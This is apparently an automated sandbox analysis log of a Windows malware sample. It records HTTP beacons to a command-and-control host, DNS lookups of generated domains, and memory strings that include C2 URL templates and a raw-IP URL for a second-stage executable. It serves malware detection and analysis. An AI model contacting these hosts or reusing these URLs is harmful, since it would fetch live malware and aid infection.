Source: global traffic	HTTP traffic detected: GET /d/N?02636B9C86636B9C86526BB086636B3E1CA14D0080626B5C2E616CAAA85145A5B4535BB286 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0222311BC222311BC2133137C22231B958E01787C42331DB6A20362DEC101F22F0120135C2 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0222311BC222311BC2133137C22231B958E01787C42331DB6A20362DEC101F22F0120135C2 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02923CBB35923CBB35A33C9735923C19AF501A2733933C7B9D903B8D1BA0128207A20C9535 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02923CBB35923CBB35A33C9735923C19AF501A2733933C7B9D903B8D1BA0128207A20C9535 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02ECCDBF0DECCDBF0DDDCD930DECCD1D972EEB230BEDCD7FA5EECA8923DEE3863FDCFD910D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02ECCDBF0DECCDBF0DDDCD930DECCD1D972EEB230BEDCD7FA5EECA8923DEE3863FDCFD910D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?023F0116D33F0116D30E013AD33F01B449FD278AD53E01D67B3D0620FD0D2F2FE10F3138D3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?023F0116D33F0116D30E013AD33F01B449FD278AD53E01D67B3D0620FD0D2F2FE10F3138D3 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?028CF135738CF13573BDF119738CF197E94ED7A9758DF1F5DB8EF6035DBEDF0C41BCC11B73 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?028CF135738CF13573BDF119738CF197E94ED7A9758DF1F5DB8EF6035DBEDF0C41BCC11B73 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025BABD2DB5BABD2DB6AABFEDB5BAB7041998D4EDD5AAB127359ACE4F56985EBE96B9BFCDB HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025BABD2DB5BABD2DB6AABFEDB5BAB7041998D4EDD5AAB127359ACE4F56985EBE96B9BFCDB HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022ED228B82ED228B81FD204B82ED28A22ECF4B4BE2FD2E8102CD51E961CFC118A1EE206B8 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022ED228B82ED228B81FD204B82ED28A22ECF4B4BE2FD2E8102CD51E961CFC118A1EE206B8 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C6D83DD8C6D83DD8F7D811D8C6D89F4204FEA1DEC7D8FD70C4DF0BF6F4F604EAF6E813D8 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C6D83DD8C6D83DD8F7D811D8C6D89F4204FEA1DEC7D8FD70C4DF0BF6F4F604EAF6E813D8 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?020F23C7C50F23C7C53E23EBC50F23655FCD055BC30E23076D0D24F1EB3D0DFEF73F13E9C5 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020F23C7C50F23C7C53E23EBC50F23655FCD055BC30E23076D0D24F1EB3D0DFEF73F13E9C5 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0292352EFD92352EFDA33502FD92358C675013B2FB9335EE55903218D3A01B17CFA20500FD HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0292352EFD92352EFDA33502FD92358C675013B2FB9335EE55903218D3A01B17CFA20500FD HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025A462F125A462F126B4603125A468D889860B3145B46EFBA5841193C686816206A760112 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025A462F125A462F126B4603125A468D889860B3145B46EFBA5841193C686816206A760112 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F44EAE6CF44EAE6CC54E826CF44E0CF63668326AF54E6EC4F6499842C660975EC47E806C HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F44EAE6CF44EAE6CC54E826CF44E0CF63668326AF54E6EC4F6499842C660975EC47E806C HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B8C78318B8C7831889C7AF18B8C721827AE11F1EB9C743B0BAC0B5368AE9BA2A88F7AD18 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B8C78318B8C7831889C7AF18B8C721827AE11F1EB9C743B0BAC0B5368AE9BA2A88F7AD18 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0234C65C7E34C65C7E05C6707E34C6FEE4F6E0C07835C69CD636C16A5006E8654C04F6727E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0234C65C7E34C65C7E05C6707E34C6FEE4F6E0C07835C69CD636C16A5006E8654C04F6727E HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029095569C9095569CA1957A9C9095F40652B3CA9A91959634929260B2A2BB6FAEA0A5789C HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029095569C9095569CA1957A9C9095F40652B3CA9A91959634929260B2A2BB6FAEA0A5789C HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B2FF529AB2FF529A83FF7E9AB2FFF00070D9CE9CB3FF9232B0F864B480D16BA882CF7C9A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B2FF529AB2FF529A83FF7E9AB2FFF00070D9CE9CB3FF9232B0F864B480D16BA882CF7C9A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02712F0559712F0559402F2959712FA7C3B309995F702FC5F17328337743013C6B411F2B59 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02712F0559712F0559402F2959712FA7C3B309995F702FC5F17328337743013C6B411F2B59 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0278FCF5A678FCF5A649FCD9A678FC573CBADA69A079FC350E7AFBC3884AD2CC9448CCDBA6 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0278FCF5A678FCF5A649FCD9A678FC573CBADA69A079FC350E7AFBC3884AD2CC9448CCDBA6 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02CDDB101DCDDB101DFCDB3C1DCDDBB2870FFD8C1BCCDBD0B5CFDC2633FFF5292FFDEB3E1D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02CDDB101DCDDB101DFCDB3C1DCDDBB2870FFD8C1BCCDBD0B5CFDC2633FFF5292FFDEB3E1D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C0717013C0717013F1715C13C071D2890257EC15C171B0BBC276463DF25F4921F0415E13 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?028FED2CA08FED2CA0BEED00A08FED8E3A4DCBB0A68EEDEC088DEA1A8EBDC31592BFDD02A0 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?028FED2CA08FED2CA0BEED00A08FED8E3A4DCBB0A68EEDEC088DEA1A8EBDC31592BFDD02A0 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02389729C6389729C6099705C638978B5CFAB1B5C03997E96E3A901FE80AB910F408A707C6 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02389729C6389729C6099705C638978B5CFAB1B5C03997E96E3A901FE80AB910F408A707C6 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027E9D79297E9D79294F9D55297E9DDBB3BCBBE52F7F9DB9817C9A4F074CB3401B4EAD5729 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027E9D79297E9D79294F9D55297E9DDBB3BCBBE52F7F9DB9817C9A4F074CB3401B4EAD5729 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F06C534AF06C534AC16C7F4AF06CF1D0324ACF4CF16C93E2F26B6564C2426A78C05C7D4A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F06C534AF06C534AC16C7F4AF06CF1D0324ACF4CF16C93E2F26B6564C2426A78C05C7D4A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02A26F0661A26F0661936F2A61A26FA4FB60499A67A36FC6C9A068304F90413F53925F2861 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02A26F0661A26F0661936F2A61A26FA4FB60499A67A36FC6C9A068304F90413F53925F2861 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02DF332241DF332241EE330E41DF3380DB1D15BE47DE33E2E9DD34146FED1D1B73EF030C41 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02DF332241DF332241EE330E41DF3380DB1D15BE47DE33E2E9DD34146FED1D1B73EF030C41 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: lpyfpbtetkhzg.tk
Source: global traffic	DNS traffic detected: DNS query: kwicmz.vg
Source: global traffic	DNS traffic detected: DNS query: utbidet-ugeas.biz
Source: global traffic	DNS traffic detected: DNS query: pqjeuad.mp
Source: global traffic	DNS traffic detected: DNS query: dfludal.mp
Source: global traffic	DNS traffic detected: DNS query: qyciviok.mp
Source: global traffic	DNS traffic detected: DNS query: hsvwkprrgt.pw
Source: global traffic	DNS traffic detected: DNS query: kkigxqwacvc.nu
Source: global traffic	DNS traffic detected: DNS query: rvfcpjg.museum
Source: global traffic	DNS traffic detected: DNS query: griusmc.mp
Source: global traffic	DNS traffic detected: DNS query: gyiyincoocn.mp
Source: global traffic	DNS traffic detected: DNS query: xekpfak.mp
Source: global traffic	DNS traffic detected: DNS query: qckeguytcxe.mp
Source: global traffic	DNS traffic detected: DNS query: eugqkqqmsoxw.mp
Source: global traffic	DNS traffic detected: DNS query: qgqjhok.st
Source: global traffic	DNS traffic detected: DNS query: rsyjwi.st
Source: global traffic	DNS traffic detected: DNS query: ealcaecqmb.pw
Source: global traffic	DNS traffic detected: DNS query: ijiivko.vg
Source: global traffic	DNS traffic detected: DNS query: jiqdofwws.st
Source: global traffic	DNS traffic detected: DNS query: oyimlslily.mp
Source: global traffic	DNS traffic detected: DNS query: ydeuwpkoggpc.st
Source: global traffic	DNS traffic detected: DNS query: zrazytuksyynx.st
Source: global traffic	DNS traffic detected: DNS query: gjqkbir.nu
Source: global traffic	DNS traffic detected: DNS query: vmtsa.nu
Source: global traffic	DNS traffic detected: DNS query: ysuyeyy.museum
Source: global traffic	DNS traffic detected: DNS query: vumild.ws
Source: global traffic	DNS traffic detected: DNS query: ngvbglykgy.museum
Source: global traffic	DNS traffic detected: DNS query: kechmqowm.st
Source: global traffic	DNS traffic detected: DNS query: ueksnsqyyyg.vg
Source: global traffic	DNS traffic detected: DNS query: pjaqmqmoqcayg.mp
Source: global traffic	DNS traffic detected: DNS query: eigqttiycrc.nu
Source: global traffic	DNS traffic detected: DNS query: qoqeshgucneic.st
Source: global traffic	DNS traffic detected: DNS query: aapmqiiiuvkxg.st
Source: global traffic	DNS traffic detected: DNS query: ucsapnaiqm.museum
Source: global traffic	DNS traffic detected: DNS query: ewvqusoagenzk.nu
Source: global traffic	DNS traffic detected: DNS query: zmpswnz.mp
Source: global traffic	DNS traffic detected: DNS query: dwsbbsvuhe.vg
Source: global traffic	DNS traffic detected: DNS query: avfqcqwcybf.nu
Source: global traffic	DNS traffic detected: DNS query: mwnaobzwzsh.mp
Source: global traffic	DNS traffic detected: DNS query: uqmkaeeiked.museum
Source: global traffic	DNS traffic detected: DNS query: vcuuf.pw
Source: global traffic	DNS traffic detected: DNS query: bhenbcwauwx.st
Source: global traffic	DNS traffic detected: DNS query: uyjswuwmg.vg
Source: global traffic	DNS traffic detected: DNS query: gjckwlq.mp
Source: global traffic	DNS traffic detected: DNS query: ojaqe.vg
Source: global traffic	DNS traffic detected: DNS query: lolhuubcqsoiy.st
Source: global traffic	DNS traffic detected: DNS query: beoklokipnezm.vg
Source: global traffic	DNS traffic detected: DNS query: qkrvauy.mp
Source: global traffic	DNS traffic detected: DNS query: gwkwx.pw
Source: global traffic	DNS traffic detected: DNS query: xqrztuoigko.nu
Source: global traffic	DNS traffic detected: DNS query: axbgscodpaey.tk
Source: global traffic	DNS traffic detected: DNS query: hpgkccdfe.mp
Source: global traffic	DNS traffic detected: DNS query: cwbge.tk
Source: global traffic	DNS traffic detected: DNS query: kgvdlkf.vg
Source: global traffic	DNS traffic detected: DNS query: tvxadcy.museum
Source: global traffic	DNS traffic detected: DNS query: tsssp.mp
Source: global traffic	DNS traffic detected: DNS query: ggkwptwmi.mp
Source: global traffic	DNS traffic detected: DNS query: ruuzeooenoy.mp
Source: global traffic	DNS traffic detected: DNS query: ngicq.vg
Source: global traffic	DNS traffic detected: DNS query: iiuchwvui.vg
Source: global traffic	DNS traffic detected: DNS query: slmkgcf.mp
Source: global traffic	DNS traffic detected: DNS query: hwjgrdoadgakmq.nu
Source: global traffic	DNS traffic detected: DNS query: oggiisztg.museum
Source: global traffic	DNS traffic detected: DNS query: hcaie.vg
Source: global traffic	DNS traffic detected: DNS query: fkejlam.st
Source: global traffic	DNS traffic detected: DNS query: xkrftiwzcwwokf.vg
Source: global traffic	DNS traffic detected: DNS query: aupdmfk.nu
Source: global traffic	DNS traffic detected: DNS query: efwumqtt.vg
Source: global traffic	DNS traffic detected: DNS query: ckscocredcu.vg
Source: global traffic	DNS traffic detected: DNS query: mohud.nu
Source: global traffic	DNS traffic detected: DNS query: hmoomqmlqkqx.mp
Source: global traffic	DNS traffic detected: DNS query: lzoikwc.pw
Source: global traffic	DNS traffic detected: DNS query: ywiwm.museum
Source: global traffic	DNS traffic detected: DNS query: eyneeemqnedyw.mp
Source: global traffic	DNS traffic detected: DNS query: toeaskhykeip.st
Source: global traffic	DNS traffic detected: DNS query: uzdeqso.tk
Source: global traffic	DNS traffic detected: DNS query: egvaxg.st
Source: global traffic	DNS traffic detected: DNS query: kgysamb.pw
Source: global traffic	DNS traffic detected: DNS query: ssmektag.mp
Source: global traffic	DNS traffic detected: DNS query: ogseqowiqwy.mp
Source: global traffic	DNS traffic detected: DNS query: paguuorpkmohc.st
Source: global traffic	DNS traffic detected: DNS query: uimhy.mp
Source: global traffic	DNS traffic detected: DNS query: kaagdfi.pw
Source: global traffic	DNS traffic detected: DNS query: nyilele.pw
Source: global traffic	DNS traffic detected: DNS query: mskgqyoctwd.vg
Source: global traffic	DNS traffic detected: DNS query: yakavstwqwwvc.vg
Source: global traffic	DNS traffic detected: DNS query: ooossqwuu.st
Source: global traffic	DNS traffic detected: DNS query: qttvmgx.ws
Source: global traffic	DNS traffic detected: DNS query: sawngoffacq.st
Source: global traffic	DNS traffic detected: DNS query: zcgoasmfimwqby.pw
Source: global traffic	DNS traffic detected: DNS query: gwvegaoiytggw.mp
Source: global traffic	DNS traffic detected: DNS query: wsyja.mp
Source: global traffic	DNS traffic detected: DNS query: umnafri.nu
Source: global traffic	DNS traffic detected: DNS query: hsynq.museum
Source: global traffic	DNS traffic detected: DNS query: efmkaemaoto.pw
Source: global traffic	DNS traffic detected: DNS query: kmgvckzgwfk.tk
Source: global traffic	DNS traffic detected: DNS query: psqsu.nu
Source: global traffic	DNS traffic detected: DNS query: uxidoccki.nu
Source: global traffic	DNS traffic detected: DNS query: ksscwxoaeo.nu
Source: global traffic	DNS traffic detected: DNS query: jjaewmsyl.st

Source: Ey6iI0wxsf.exe, Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://%s.biz/d/G?
Source: Ey6iI0wxsf.exe, Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://%s.biz/d/N?
Source: Ey6iI0wxsf.exe, Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://69.50.173.166/gdnOT2424.exe
Source: Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://69.50.173.166/gdnOT2424.exegrazie.gifhttp://utbidet-ugeas.biz/d/ccUseDflProfileUseExtProfileC
Source: onbeateax-oded.exe, 00000001.00000003.1611930394.0000000000746000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aupdmfk.nu/
Source: explorer.exe, 00000005.00000000.1239274655.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3713320347.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1244328769.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3710629965.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2273696579.0000000007306000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000005.00000000.1239274655.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3713320347.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1244328769.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3710629965.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2273696579.0000000007306000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000005.00000000.1239274655.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3713320347.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1244328769.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3710629965.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2273696579.0000000007306000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000005.00000000.1239274655.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3713320347.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1244328769.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3710629965.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2273696579.0000000007306000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000005.00000002.3711619664.0000000007C70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3712416954.0000000008810000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3712449507.0000000008820000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: onbeateax-oded.exe, 00000001.00000003.1577051468.0000000000746000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://slmkgcf.mp/
Source: onbeateax-oded.exe, 00000001.00000003.1611930394.0000000000746000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?020A10E96D0A10E96D3B10C56D0A104BF7C836756B0B1029C50817DF43383ED05F3A20C
Source: onbeateax-oded.exe, 00000001.00000003.1567941195.0000000000746000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67
Source: onbeateax-oded.exe, 00000001.00000003.1376768879.000000000073A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430
Source: onbeateax-oded.exe, 00000001.00000003.1388255125.0000000000736000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02B2732C35B2732C3583730035B2738EAF7055B033BPf
Source: Ey6iI0wxsf.exe, Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/cc
Source: Ey6iI0wxsf.exe, Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/rpt?
Source: Ey6iI0wxsf.exe, 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/rpt?http://%s.biz/d/G?http://%s.biz/d/N?ntdbg.exeidbg32.exeahuy.exeaset32
Source: explorer.exe, 00000005.00000003.2272997326.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1247437767.000000000C3F7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2271230294.000000000C41F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000005.00000002.3709701252.00000000071B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.foreca.com
Source: explorer.exe, 00000005.00000002.3713320347.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1244328769.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: explorer.exe, 00000005.00000000.1244328769.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2273910850.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3714259581.000000000913F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000005.00000000.1244328769.0000000008F09000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000005.00000000.1244328769.0000000008DA6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000005.00000002.3713320347.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1244328769.0000000008F09000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&oc
Source: explorer.exe, 00000005.00000000.1239274655.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3709701252.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000005.00000002.3709701252.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1239274655.0000000007276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?t
